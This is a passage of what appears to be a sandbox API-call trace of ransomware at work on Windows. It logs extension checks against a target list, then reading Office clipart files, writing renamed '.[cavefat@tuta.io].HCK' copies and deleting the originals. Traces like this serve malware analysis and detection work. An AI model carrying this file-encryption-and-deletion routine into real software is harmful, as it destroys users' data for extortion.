lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".bz2") returned 4 [0228.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".7z") returned 3 [0228.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".dbf") returned 4 [0228.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".1cd") returned 4 [0228.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".jpg") returned 4 [0228.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".doc") returned 4 [0228.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".docx") returned 5 [0228.265] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0228.265] lstrlenW (lpString=".pdf") returned 4 [0228.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".xls") returned 4 [0228.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.265] lstrlenW (lpString=".xlsx") returned 5 [0228.265] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0228.265] lstrlenW (lpString=".ppt") returned 4 [0228.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".zip") returned 4 [0228.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.265] lstrlenW (lpString=".rar") returned 4 [0228.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".bz2") returned 4 [0228.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString=".7z") returned 3 [0228.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".dbf") returned 4 [0228.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".1cd") returned 4 [0228.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0228.265] lstrlenW (lpString=".jpg") returned 4 [0228.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.266] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.266] lstrlenW (lpString="J0099183.WMF") returned 12 [0228.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.267] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4946) returned 1 [0228.267] CloseHandle (hObject=0x4c4) returned 1 [0228.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0228.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.268] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.268] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0228.269] GetLastError () returned 0x0 [0228.269] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1352, lpOverlapped=0x0) returned 1 [0228.270] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1360, lpOverlapped=0x0) returned 1 [0228.271] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.271] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.271] SetEndOfFile (hFile=0x4c8) returned 1 [0228.271] CloseHandle (hObject=0x4c8) returned 1 [0228.271] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.271] SetEndOfFile (hFile=0x4c4) returned 1 [0228.274] CloseHandle (hObject=0x4c4) returned 1 [0228.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".doc") returned 4 [0228.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".docx") returned 5 [0228.275] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0228.275] lstrlenW (lpString=".pdf") returned 4 [0228.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".xls") returned 4 [0228.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.275] lstrlenW (lpString=".xlsx") returned 5 [0228.275] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0228.275] lstrlenW (lpString=".ppt") returned 4 [0228.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".zip") returned 4 [0228.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.275] lstrlenW (lpString=".rar") returned 4 [0228.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".bz2") returned 4 [0228.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".7z") returned 3 [0228.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".dbf") returned 4 [0228.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".1cd") returned 4 [0228.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".jpg") returned 4 [0228.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.275] lstrlenW (lpString=".doc") returned 4 [0228.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".docx") returned 5 [0228.275] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0228.275] lstrlenW (lpString=".pdf") returned 4 [0228.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.275] lstrlenW (lpString=".xls") returned 4 [0228.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.276] lstrlenW (lpString=".xlsx") returned 5 [0228.276] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0228.276] lstrlenW (lpString=".ppt") returned 4 [0228.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.276] lstrlenW (lpString=".zip") returned 4 [0228.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.276] lstrlenW (lpString=".rar") returned 4 [0228.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.276] lstrlenW (lpString=".bz2") returned 4 [0228.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.276] lstrlenW (lpString=".7z") returned 3 [0228.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.276] lstrlenW (lpString=".dbf") returned 4 [0228.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.276] lstrlenW (lpString=".1cd") returned 4 [0228.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0228.276] lstrlenW (lpString=".jpg") returned 4 [0228.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.276] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.276] lstrlenW (lpString="J0099184.WMF") returned 12 [0228.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.277] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4118) returned 1 [0228.277] CloseHandle (hObject=0x4c4) returned 1 [0228.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0228.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.278] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.278] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0228.278] GetLastError () returned 0x0 [0228.278] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1016, lpOverlapped=0x0) returned 1 [0228.280] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1020, lpOverlapped=0x0) returned 1 [0228.280] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.281] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.281] SetEndOfFile (hFile=0x4c8) returned 1 [0228.281] CloseHandle (hObject=0x4c8) returned 1 [0228.281] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.281] SetEndOfFile (hFile=0x4c4) returned 1 [0228.283] CloseHandle (hObject=0x4c4) returned 1 [0228.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".doc") returned 4 [0228.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString=".docx") returned 5 [0228.284] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0228.284] lstrlenW (lpString=".pdf") returned 4 [0228.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString=".xls") returned 4 [0228.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.284] lstrlenW (lpString=".xlsx") returned 5 [0228.284] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0228.284] lstrlenW (lpString=".ppt") returned 4 [0228.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".zip") returned 4 [0228.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.284] lstrlenW (lpString=".rar") returned 4 [0228.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString=".bz2") returned 4 [0228.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString=".7z") returned 3 [0228.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".dbf") returned 4 [0228.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".1cd") returned 4 [0228.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".jpg") returned 4 [0228.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.284] lstrlenW (lpString=".doc") returned 4 [0228.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.284] lstrlenW (lpString=".docx") returned 5 [0228.284] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0228.284] lstrlenW (lpString=".pdf") returned 4 [0228.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString=".xls") returned 4 [0228.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.285] lstrlenW (lpString=".xlsx") returned 5 [0228.285] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0228.285] lstrlenW (lpString=".ppt") returned 4 [0228.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.285] lstrlenW (lpString=".zip") returned 4 [0228.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.285] lstrlenW (lpString=".rar") returned 4 [0228.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString=".bz2") returned 4 [0228.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString=".7z") returned 3 [0228.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.285] lstrlenW (lpString=".dbf") returned 4 [0228.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.285] lstrlenW (lpString=".1cd") returned 4 [0228.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0228.285] lstrlenW (lpString=".jpg") returned 4 [0228.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.285] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.285] lstrlenW (lpString="J0099185.JPG") returned 12 [0228.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.286] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3282) returned 1 [0228.286] CloseHandle (hObject=0x4c4) returned 1 [0228.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0228.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.287] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.287] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0228.287] GetLastError () returned 0x0 [0228.287] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0228.288] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xce0, lpOverlapped=0x0) returned 1 [0228.289] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.289] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.290] SetEndOfFile (hFile=0x4c8) returned 1 [0228.290] CloseHandle (hObject=0x4c8) returned 1 [0228.290] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.290] SetEndOfFile (hFile=0x4c4) returned 1 [0228.292] CloseHandle (hObject=0x4c4) returned 1 [0228.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".doc") returned 4 [0228.293] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.293] lstrlenW (lpString=".docx") returned 5 [0228.293] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0228.293] lstrlenW (lpString=".pdf") returned 4 [0228.293] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString=".xls") returned 4 [0228.293] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString=".xlsx") returned 5 [0228.293] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0228.293] lstrlenW (lpString=".ppt") returned 4 [0228.293] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".zip") returned 4 [0228.293] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString=".rar") returned 4 [0228.293] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.293] lstrlenW (lpString=".bz2") returned 4 [0228.293] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.293] lstrlenW (lpString=".7z") returned 3 [0228.293] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0228.293] lstrlenW (lpString=".dbf") returned 4 [0228.293] lstrcmpiW 